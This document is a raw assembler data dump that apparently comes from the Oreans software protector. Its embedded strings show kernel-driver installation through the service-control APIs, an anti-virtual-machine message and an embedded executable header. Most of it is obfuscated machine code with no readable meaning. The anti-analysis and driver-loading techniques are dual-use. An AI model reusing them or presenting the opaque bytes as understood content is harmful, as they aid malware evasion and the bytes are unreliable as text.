		dd 0C840Fh, 0B5FF0000h,	60DAE39h, 0AE4595FFh, 0B5FF060Dh
		dd 60DAE39h, 2ACD95FFh,	0C361060Bh, 3D858960h, 8D060DAEh
		dd 0DAE3985h, 858D5006h, 60DADA3h, 16850h, 95FF8000h, 60DAE49h
		dd 858D046Ah, 60DAE3Dh,	6A046A50h, 25858D00h, 50060DAEh
		dd 0AE39B5FFh, 95FF060Dh, 60B2F01h, 5BDBD83h, 0F00060Bh
		dd 0C84h, 39B5FF00h, 0FF060DAEh, 0DAE4595h, 39B5FF06h
		dd 0FF060DAEh, 0B2ACD95h, 60C36106h, 0AE3D8589h, 858D060Dh
		dd 60DAE39h, 0A3858D50h, 50060DADh, 168h, 4995FF80h, 6A060DAEh
		dd 3D858D04h, 50060DAEh, 6A046Ah, 0AE2C858Dh, 0FF50060Dh
		dd 0DAE39B5h, 195FF06h,	83060B2Fh, 0B05BDBDh, 840F0006h
		dd 0Ch,	0AE39B5FFh, 95FF060Dh, 60DAE45h, 0AE39B5FFh, 95FF060Dh
		dd 60B2ACDh, 0C760C361h, 0DAE3D85h, 106h, 39858D00h, 50060DAEh
		dd 0ADA3858Dh, 6850060Dh, 80000002h, 0AE4995FFh, 0C00B060Dh
		dd 0F840Fh, 85C70000h, 60DAE3Dh, 0
		dd 4DE9h, 8D046A00h, 0DAE3D85h,	46A5006h, 858D006Ah, 60DADB7h
		dd 39B5FF50h, 0FF060DAEh, 0B2F0195h, 0FC00B06h,	0F84h
		dd 3D85C700h, 60DAEh, 0E9000000h, 0Ah, 0AE3D85C7h, 1060Dh
		dd 0B5FF0000h, 60DAE39h, 2ACD95FFh, 8B61060Bh, 0DAE3D85h
		dd 8960C306h, 0DAE3D85h, 39858D06h, 50060DAEh, 0ADA3858Dh
		dd 6850060Dh, 80000001h, 0AE4995FFh, 46A060Dh, 0AE3D858Dh
		dd 6A50060Dh, 8D006A04h, 0DADB785h, 0B5FF5006h,	60DAE39h
		dd 2F0195FFh, 0BD83060Bh, 60B05BDh, 0C840F00h, 0FF000000h
		dd 0DAE39B5h, 4595FF06h, 0FF060DAEh, 0DAE39B5h,	0CD95FF06h
		dd 61060B2Ah, 858960C3h, 60DAE3Dh, 0AE39858Dh, 8D50060Dh
		dd 0DADA385h, 1685006h,	0FF800000h, 0DAE4995h, 8D046A06h
		dd 0DAE3D85h, 46A5006h,	858D006Ah, 60DADC9h, 39B5FF50h
		dd 0FF060DAEh, 0B2F0195h, 0BDBD8306h, 60B05h, 0C840Fh
		dd 0B5FF0000h, 60DAE39h, 0AE4595FFh, 0B5FF060Dh, 60DAE39h
		dd 2ACD95FFh, 0C361060Bh, 284585C6h, 6852060Bh,	0ADE47B07h
		dd 194DB5FFh, 95FF060Bh, 60B08A9h, 0AE498589h, 85C6060Dh
		dd 60B2845h, 0E56852h, 0B5FF902Eh, 60B194Dh, 8A995FFh
		dd 8589060Bh, 60DAE45h,	284585C6h, 6852060Bh, 0B9BF1235h
		dd 194DB5FFh, 95FF060Bh, 60B08A9h, 2F018589h, 85C6060Bh
		dd 60B2845h, 10346852h,	0B5FF9878h, 60B194Dh, 8A995FFh
		dd 8589060Bh, 60B2ACDh,	284585C6h, 6852060Bh, 0C005DBD4h
		dd 194DB5FFh, 95FF060Bh, 60B08A9h, 2A618589h, 8E8060Bh
		dd 0E9000000h, 0FE43D60Dh, 0F291F79h, 2485h, 0AE800h, 0A71B0000h
		dd 1DB4997h, 86EF00C3h,	0EE8h, 0E7EC1800h, 57B222F7h, 0A5EE4105h
		dd 5EBA3FA0h, 0D68B5B5Ah, 6A60C381h, 880F0000h,	0
		dd 0FC52C92Bh, 0B3C8B5Eh, 1B850Fh, 12E80000h, 95000000h
		dd 0BA7DD836h, 641FDE45h, 0F4555361h, 0D77AFCBFh, 45E6804Bh
		dd 0BCEF815Ah, 6606FE93h, 7302E281h, 9974F781h,	81F844DEh
		dd 8EE0F5EFh, 0F0B70F18h, 0C6BF0F57h, 0F0B048Fh, 28Bh
		dd 60D68B00h, 61F5C28Bh, 43E8E981h, 0D0814CE6h,	2BB90E1Fh
		dd 43E4C181h, 10E84CE6h, 9F000000h, 99314C08h, 0E877A46Ch
		dd 0AFB9460Ah, 5074D5C0h, 948D81BAh, 81585A0Eh,	0FF9674F9h
		dd 72850FFFh, 66FFFFFFh, 0E9CF92B8h, 99h, 6775622Fh, 63656863h
		dd 2F00326Bh, 63677562h, 6B636568h, 6F662F00h, 72656372h
		dd 2F006E75h, 63677562h, 6B636568h, 6C6C7566h, 68732F00h
		dd 6F63776Fh, 2F006564h, 776F6873h, 65646F63h, 632F0032h
		dd 74726Ch, 7369642Fh, 732F0031h, 69776F68h, 6174736Eh
		dd 65636Eh, 7465672Fh, 74736C77h, 73757461h, 6F6C2F00h
		dd 61747367h, 737574h, 6D75642Fh, 61747370h, 737574h, 0
aCheckprotectio	db '/checkprotection',0
		align 4
		dd 0E0BD8300h, 60DB5h, 0A840Fh,	85C70000h, 60B29D1h, 1
		dd 284585C6h, 6847060Bh, 0D4CDA956h, 0DB243481h, 0FF44A0C5h
		dd 0B0B01B5h, 0D858D06h, 0FF060B39h, 8BD0FFD0h,	223F80F8h
		dd 22850Fh, 0B0470000h,	850FAE22h, 0FFFFFFF9h, 0F003F80h
		dd 31884h, 3F804700h, 0E840F00h, 0E9000003h, 1Eh, 0F003F80h
		dd 30084h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h
		dd 3F80FFFFh, 5850F00h,	0E9000000h, 2DDh, 1E9h,	3F804700h
		dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5,	2C0E9h,	0AE800h
		dd 0CBE90000h, 0E9FFFFFFh, 2B1h, 0B560B58Dh, 25E8060Dh
		dd 3000002h, 0DB5F5BDh,	0F5BD8306h, 60DB5h, 0B840Fh, 85C70000h
		dd 60B05BDh, 1,	6BB58DC3h, 0E8060DB5h, 1FCh, 0B5F5BD03h
		dd 0BD83060Dh, 60DB5F5h, 0B840F00h, 0C7000000h,	0B29D185h
		dd 106h, 0B58DC300h, 60DB5E4h, 1D3E8h, 0F5BD0300h, 83060DB5h
		dd 0DB5F5BDh, 840F0006h, 0Bh, 199585C7h, 1060Bh, 8DC30000h
		dd 0DB575B5h, 1AAE806h,	0BD030000h, 60DB5F5h, 0B5F5BD83h
		dd 0F00060Dh, 0B84h, 0D185C700h, 1060B29h, 0C3000000h
		dd 0B57FB58Dh, 81E8060Dh, 3000001h, 0DB5F5BDh, 0F5BD8306h
		dd 60DB5h, 15840Fh, 85C70000h, 60B29D1h, 1, 5BD85C7h, 1060Bh
		dd 8DC30000h, 0DB58DB5h, 14EE806h, 0BD030000h, 60DB5F5h
		dd 0B5F5BD83h, 0F00060Dh, 0A84h, 9985C700h, 1060B02h, 8D000000h
		dd 0DB597B5h, 126E806h,	0BD030000h, 60DB5F5h, 0B5F5BD83h
		dd 0F00060Dh, 0A84h, 9985C700h,	1060B02h, 8D000000h, 0DB5A2B5h
		dd 0FEE806h, 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh
		dd 0A84h, 0A585C700h, 1060B03h,	8D000000h, 0DB5A8B5h, 0D6E806h
		dd 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh,	0A84h
		dd 5D85C700h, 1060B1Ah,	8D000000h, 0DB5AEB5h, 0AEE806h
		dd 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh,	0A84h
		dd 3D85C700h, 1060B0Bh,	8D000000h, 0DB5BCB5h, 86E806h
		dd 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh,	0A84h
		dd 0E585C700h, 1060B27h, 8D000000h, 0DB5C9B5h, 5EE806h
		dd 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh,	0A84h
		dd 7985C700h, 1060B2Eh,	8D000000h, 0DB5D4B5h, 36E806h
		dd 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh,	0A84h
		dd 9185C700h, 1060B18h,	0E9000000h, 1, 203F8047h, 9840Fh
		dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h
		dd 19E9h, 3F8000h, 2850Fh, 0C92B0000h, 1638178Ah, 2840Fh
		dd 0C92B0000h, 3E804746h, 8840F00h, 0B000000h, 0D6850FC9h
		dd 0BFFFFFFh, 21840FC9h, 80000000h, 840F003Fh, 9, 0F203F80h
		dd 0A85h, 1B900h, 5E90000h, 0B9000000h,	0
		dd 840FC90Bh, 0Dh, 0B589F32Bh, 60DB5F5h, 0AE9h,	0F585C700h
		dd 60DB5h, 61000000h, 0E9C88BC3h, 20Eh,	6E614333h, 20746F6Eh
		dd 74697277h, 726F2065h, 736E6165h, 6478762Eh, 614D0D0Ah
		dd 7320656Bh, 20657275h, 74616874h, 69687420h, 69662073h
		dd 6920656Ch, 6F6E2073h, 65622074h, 20676E69h, 64657375h
		dd 20796220h, 746F6E61h, 20726568h, 676F7270h, 2E6D6172h
		dd 68h dup(0)
aOreans_vxd	db '\Oreans.vxd',0
		dd 2 dup(0)
		dd 0EFE90000h, 0C6000000h, 0B284585h, 86684706h, 0FFE3E45Bh
		dd 0B0B01B5h, 0D858D06h, 0FF060B39h, 10468D0h, 9D8D0000h
		dd 60B099Dh, 50D0FF53h,	0BB68B58Dh, 0FE8B060Dh,	0FAEC032h
		dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 284585C6h
		dd 6843060Bh, 0BC8E6EFCh, 0B01B5FFh, 858D060Bh,	60B390Dh
		dd 0B58DD0FFh, 60B099Dh, 8068006Ah, 6A000000h, 6A006A02h
		dd 6800h, 0FF56C000h, 0C6D88BD0h, 0B284585h, 56685706h
		dd 0FFA69BEEh, 0B0B01B5h, 0D858D06h, 0FF060B39h, 75BD8DD0h
		dd 8D060B27h, 0DBC8E8Dh, 57006A06h, 37D068h, 0FF535100h
		dd 0FC085D0h, 1B85h, 70B58D00h,	8D060DB9h, 0DA5F985h, 8DD0FF06h
		dd 0B73058Dh, 0B806h, 0E1FF0000h, 284585C6h, 6843060Bh
		dd 0C0764AA7h, 0B01B5FFh, 858D060Bh, 60B390Dh, 0FF53D0FFh
		dd 0D0B9C3D0h, 0E8000037h, 0
		dd 0EC08358h, 2E90889h,	8B000000h, 37D0E9C3h, 5A4D0000h
		dd 30090h, 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0B00000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 0
		dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
		dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
		dd 454C0000h, 0
		dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
		dd 2000000h, 1C00000h, 900000h,	0
		dd 7E0000h, 0
		dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
		dd 12C0000h, 1380000h, 2 dup(0)
		dd 1420000h, 1960000h, 1D20000h, 0
		dd 1D20000h, 0
		dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
		dd 27C00400h, 0
		dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
		dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
		dd 11h,	12h, 13h, 58080014h, 544F5250h,	445856h, 3010000h
		dd 30001h, 2 dup(0)
		dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
		dd 9B010191h, 6002727h,	79276F01h, 81017D01h, 89018501h
		dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
		dd 360h	dup(0)
		dd 4000000h, 10000h, 50580000h,	56544F52h, 4458h, 8000h
		dd 8 dup(0)
		dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h
		dd 5273h, 9C3h dup(0)
		dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
		dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h,	831AEBC0h
		dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
		dd 580CC3C0h, 544F5250h, 5F445856h, 424444h, 7E80000h
		dd 0DC000000h, 0CAF6717Bh, 8503D84Ah, 60B26D9h,	0E8CC805Eh
		dd 7242C681h, 958B0000h, 60B0B4Dh, 0BFh, 44B86600h, 3734FF19h
		dd 0EE95BF5h, 73000000h, 2952F609h, 0D4087744h,	0CBAD56BCh
		dd 6DEB8183h, 664CCFF1h, 9883E181h, 0C3A3F381h,	8D8B7747h
		dd 60B0419h, 82C0C381h,	53FC316Eh, 48FACB2h, 9B5893Eh
		dd 66060B06h, 81B057B9h, 8F1BCEEFh, 2D85315Ch, 81060B0Bh
		dd 8F1BCAC7h, 618D895Ch, 81060B2Bh, 0FF8E50FFh,	96850FFFh
		dd 0BFFFFFFh, 0B133995h, 10A9E906h, 44410000h, 49504156h
		dd 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h, 72656761h
		dd 72430041h, 65746165h, 76726553h, 41656369h, 61745300h
		dd 65537472h, 63697672h, 47004165h, 614E7465h, 65766974h
		dd 74737953h, 6E496D65h, 4F006F66h, 536E6570h, 69767265h
		dd 416563h, 656C6544h, 65536574h, 63697672h, 6C430065h
		dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 6E6F4300h
		dd 6C6F7274h, 76726553h, 656369h, 8 dup(0)
aOreans32_sys	db 'oreans32.sys',0
		align 4
		dd 0
		dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0
		dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh
		dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh
		dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch
		dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0)
aSystemroot	db 'SYSTEMROOT',0
aSSystem32Drive	db '%s\system32\drivers\%s',0
aSSyswow64Drive	db '%s\syswow64\drivers\%s',0
aSSystem32Dri_0	db '%s\system32\drivers\oreans32.sys',0
		align 4
		dd 48h dup(0)
		dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h
		dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h
		dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h
		dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h
		dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h
		dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h
		dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h
		dd 72676F72h, 2E6D61h, 59h dup(0)
		dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h
		dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh
		dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h
		dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h
		dd 20726568h, 676F7270h, 2E6D6172h, 67h	dup(0)
		dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h
		dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h
		dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h
		dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh
		dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h
		dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h
		dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h
		dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0)
		dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0)
		dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0)
		dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h
		dd 65h,	72430000h, 65746165h, 6E657645h, 50412074h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh
		dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh
		dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h
		dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h
		dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h
		dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h
		dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h
		dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh
		dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch
		dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh
		dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh
		dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h
		dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h
		dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h
		dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh	dup(0)
		dd 10000000h, 0
		dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0
		dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah
		dd 21h dup(0)
		dd 8B000000h, 55006AC4h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 234DD54Bh, 0B67F0EB2h, 0B5858958h
		dd 6A060B32h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0C5E7C357h, 89F1D4EBh,	0B09658Dh
		dd 6AC08B06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 93D4C351h, 0AE99177h, 37000000h
		dd 642E449Ah, 6EA8E346h, 0BDBD8358h, 60B05h, 0BD830975h
		dd 60B29D1h, 50197400h,	0B8C08B53h, 43Dh, 2A358589h, 9D8D060Bh
		dd 60DB31Ah, 585BD3FFh,	29D1BD83h, 7400060Bh, 0B8535017h
		dd 43Dh, 2A358589h, 9D8D060Bh, 60DB009h, 585BD3FFh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0D9C35040h, 8166140Eh
		dd 8BC869EFh, 0B0011BDh, 66C08B06h, 50ED781h, 0D981C08Bh
		dd 7094590Ah, 5BDBD83h,	7500060Bh, 0D1BD8309h, 60B29h
		dd 53501374h, 0B8C08Bh,	8D000000h, 0DB1BC9Dh, 5BD3FF06h
		dd 0D1BD8358h, 60B29h, 53501174h, 0B8h,	6D9D8D00h, 0FF060DB0h
		dd 80585BD3h, 0BE9FDC5h, 0B0000000h, 25963FECh,	0C1968396h
		dd 0C08B592Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	73C35747h, 8106AFCFh, 0A09A06D2h, 0CFB70F14h, 0B70FC08Bh
		dd 0BDBD83D7h, 60B05h, 0BD830975h, 60B29D1h, 50137400h
		dd 0B8C08B53h, 0
		dd 0B0EE9D8Dh, 0D3FF060Dh, 0BD83585Bh, 60B29D1h, 50117400h
		dd 0B853h, 9D8D0000h, 60DB03Bh,	585BD3FFh, 6AD0B70Fh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0ACB1C357h, 0E98D2B67h, 8B060B01h, 0A98D8BC0h, 8B060B18h
		dd 0BD8960C0h, 60B3161h, 21D858Bh, 8361060Bh, 0B05BDBDh
		dd 9750006h, 29D1BD83h,	7400060Bh, 8B535013h, 0B8C0h, 9D8D0000h
		dd 60DB155h, 585BD3FFh,	29D1BD83h, 7400060Bh, 0B8535011h
		dd 0
		dd 0B0549D8Dh, 0D3FF060Dh, 0BD89585Bh, 60B02B5h, 0BD89C08Bh
		dd 60B15F1h, 0BD89C08Bh, 60B21DDh, 5BDBD83h, 7500060Bh
		dd 0D1BD8309h, 60B29h, 53501374h, 0B8C08Bh, 8D000000h
		dd 0DB0879Dh, 5BD3FF06h, 719D2958h, 0F060B1Bh, 0A8Bh, 8D896000h
		dd 60B1FC5h, 0F6106B2h,	982h, 3840F00h,	0F000000h, 0C08BC9B7h
		dd 0C08B82B2h, 2279BD29h, 0BD83060Bh, 60B05BDh,	83097500h
		dd 0B29D1BDh, 19740006h, 0C08B5350h, 7D0B8h, 35858900h
		dd 8D060B2Ah, 0DB31A9Dh, 5BD3FF06h, 0D1BD8358h,	60B29h
		dd 53501774h, 7D0B8h, 35858900h, 8D060B2Ah, 0DB0099Dh
		dd 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0A9FC644Ch, 59EB8A50h, 6AC08Bh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0D253A8C3h, 8F0F1492h, 6, 32A18D89h,	85C6060Bh, 60B2845h
		dd 56006A53h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0C3B78D99h, 0F850DDEh, 8D8BD3B7h, 60B1839h
		dd 395F9068h, 0E9D78A99h, 8, 0A767039Ch, 0B4EBE563h, 0B01B5FFh
		dd 858D060Bh, 60B390Dh,	8D8BFB8Bh, 60B0DDDh, 0BD8BD0FFh
		dd 60B0AB9h, 0AC58589h,	6A060Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 8EB612C3h, 0BB4F2E9h
		dd 0BA10C412h, 6FA61214h, 816655B5h, 0C6C4CBCFh, 0B284585h
		dd 8D8B5706h, 60B1161h,	4520668h, 0CE85790h, 6C000000h
		dd 5A33EB9Ah, 7EDB90B0h, 0E8F2AAF3h, 12h, 0C985FC60h, 727453CAh
		dd 0B9A9AEA2h, 9F0775F8h, 5A598924h, 1B5FF59h, 1060B0Bh
		dd 0B31F185h, 8D98B606h, 0B390D85h, 9E906h, 6E2A0000h
		dd 0CBC7044Ah, 0FF69CF5Dh, 50006AD0h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 858918D8h
		dd 60B2411h, 4585C6F8h,	43060B28h, 68D0B70Fh, 0BC907028h
		dd 24559D01h, 0B5FF060Bh, 60B0B01h, 21E9958Bh, 858D060Bh
		dd 60B390Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	3EC35545h, 0FB617C9Dh, 0FF89DDCAh, 51006AD0h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 0E6D1555Eh, 76B79A30h, 27A58589h, 8D89060Bh,	60B003Dh
		dd 284585C6h, 8B4C060Bh, 0B240595h, 1CE96806h, 0BD8BD9DAh
		dd 60B1161h, 0CD04DF81h, 0B5FF0770h, 60B0B01h, 68B0Fh
		dd 85310000h, 60B0921h,	390D858Dh, 39B9060Bh, 0FF42364Eh
		dd 53006AD0h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0C0930F4Dh, 0DE86E49h, 67000000h, 0F7D77642h
		dd 270B4792h, 0C7AAB656h, 19658501h, 0E85F060Bh, 14h, 70DE3CDDh
		dd 371E904Dh, 0C15D7D4Dh, 8C602DA7h, 0C60CC030h, 0FBB70F53h
		dd 85895F5Ah, 60B2875h,	0C6DFC580h, 0B284585h, 8B664606h
		dd 4D8529D6h, 68060B1Ah, 0BADE0614h, 10E960h, 97860000h
		dd 396EAB5Eh, 4991916h,	0E2F1ED4Ch, 81662BD2h, 61B326E1h
		dd 0B01B5FFh, 0DE9060Bh, 27000000h, 56EC796Dh, 7F286C5Dh
		dd 0F3ED26EBh, 390D858Dh, 0FE9060Bh, 0A6000000h, 52496C0Ch
		dd 721CA512h, 0A00E6D7Ah, 0D0FFD44Eh, 28D9958Bh, 8589060Bh
		dd 60B21C5h, 10E9h, 2925AB00h, 7775915h, 3C8EB3B1h, 94EB05E1h
		dd 0C9BD891Eh, 0C6060B29h, 0B284585h, 6A4706h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 79111BC3h, 0E726838h, 688D583Fh, 8A0FB5E2h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 12C35545h, 19BD89BEh
		dd 0FF060B07h, 0B0B01B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 613F2D74h
		dd 0D858DD4h, 1060B39h,	0B0CC185h, 6AD0FF06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0AB9BC356h, 7E9FCh, 0F4CF0000h, 982A6629h, 0D1858929h
		dd 89060B13h, 0B15799Dh, 4585C606h, 47060B28h, 5890Fh
		dd 0E6BA0000h, 6859A4E8h, 83D0B5F3h, 9DBD8951h,	5F060B19h
		dd 0B01B5FFh, 8C0F060Bh, 6, 0ED59D09h, 858D060Bh, 60B390Dh
		dd 258D8B60h, 61060B2Bh, 6AD0FFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0F4A124C3h, 0BCD7C5EBh
		dd 31BBB0CBh, 0B0531B5h, 66D18106h, 8920F97Ch, 0B051985h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0BC1064F0h, 29AD8589h, 85C6060Bh, 60B2845h
		dd 9958B77h, 68060B23h,	0F397A8A3h, 0DDE98166h,	15B5FFADh
		dd 89060B03h, 0B0DADB5h, 0D858D06h, 0E8060B39h,	0Fh, 0B1F39B5Bh
		dd 0DAB35DA7h, 69D6C36Fh, 89E7EC18h, 0B2DE99Dh,	0D0FF5906h
		dd 8589FA8Bh, 60B000Dh,	4585C6FCh, 47060B28h, 8728F0BFh
		dd 85BD8B3Ch, 68060B20h, 8728FAF6h, 32E58D89h, 840F060Bh
		dd 20h,	13E860h, 1B1D0000h, 6E69247Fh, 4736AA0Fh, 59A5112Fh
		dd 0E5202D67h, 1EBB598Ah, 61313E34h, 0B01B5FFh,	0E8F9060Bh
		dd 0Eh,	0A4B813FDh, 0D73A3D33h,	237C170Bh, 0EE99493h, 27000000h
		dd 7873C204h, 0A0E8EDADh, 6D4F9F98h, 858D5FD1h,	60B390Dh
		dd 5820Fh, 12B90000h, 0F6E18DDh, 0D0FFCABFh, 0DE9BB966h
		dd 74639DBAh, 5D85890Dh, 6A060B16h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 105BC352h
		dd 9E99E32Dh, 10E9h, 2E2DFD00h,	745AAF33h, 623013Bh, 24010259h
		dd 4585C67Bh, 43060B28h, 8DBA6657h, 0FC685AD1h,	6ABC8E6Eh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0ADB8C353h, 0AEA15E2Dh, 44A4BA2Eh, 13E81D8Eh
		dd 37000000h, 41430F7Dh, 0EF7BC23Ch, 0AF010F0Bh, 4DE17498h
		dd 0D2819B77h, 17FBC7A0h, 1B5FF5Fh, 81060B0Bh, 41AE21EFh
		dd 0D858D6Ah, 66060B39h, 0D0FFD78Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0E8C35343h,	10E96CACh, 39F60E0Bh
		dd 68D0FCEh, 9000000h, 0B2A9985h, 0B98D2306h, 89060B05h
		dd 0B026585h, 0AD9D8906h, 0C6060B19h, 0B284585h, 8D894506h
		dd 60B0C1Dh, 72696968h,	53006A8Eh, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0A07D2ECFh, 534F02A7h
		dd 59CA8B66h, 0A45B966h, 0B01B5FFh, 2EB1060Bh, 390D858Dh
		dd 8166060Bh, 0FFC8BBF7h, 0E78166D0h, 8589D36Fh, 60B2F4Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0CEC35646h
		dd 0A121DD32h, 0E8BE470Fh, 12h,	0A72F4D29h, 4D570A3Bh
		dd 0D988099Dh, 0D7FB2C9Eh, 8D8B88E2h, 60B2DFDh,	4585C65Ah
		dd 44060B28h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ch,	1CC35545h, 0E5EF077h, 3C94D193h, 0F2EC6468h, 0FBB70FB8h
